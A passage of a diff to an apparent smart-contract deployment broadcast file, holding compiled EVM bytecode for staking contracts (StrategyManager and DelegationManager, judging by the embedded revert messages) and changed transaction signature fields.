5260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f0000000000000000000000000000000000000000000000000000000000000000169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c8530000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "r": "0x4750bac1392cedc969129b207c550b8ac906a245f779dfcc3c5ebf69578af424", + "s": "0xb4b100f46f39110df904afff07bc020373ffd804c99f2d2ea3cca1d4a8dc7dd", "yParity": "0x0", - "hash": "0x128ce6b64679765bfd29e24ec131d2b9194f645d20aa49f9c20c0aebf88f101c" + "hash": "0x804ce4e2fea65a47a6bcaf0436b386ad347c7083ad0ef319a04f97eb627952a2" } }, "impersonated_sender": null @@ -1078,30 +1052,11 @@ "maxPriorityFeePerGas": "0x1", "value": "0x0", "accessList": [], - "input": "0x61010060405234801561001157600080fd5b5060405161337a38038061337a83398101604081905261003091610135565b6001600160a01b0380841660805280831660a052811660c05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516131a36101d760003960006114b70152600061046e0152600061028501526000818161051a01528181610b8201528181610ecf01528181610f230152611a6c01526131a36000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f000000000000000000000000000000000000000000000000000000000000000046036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8e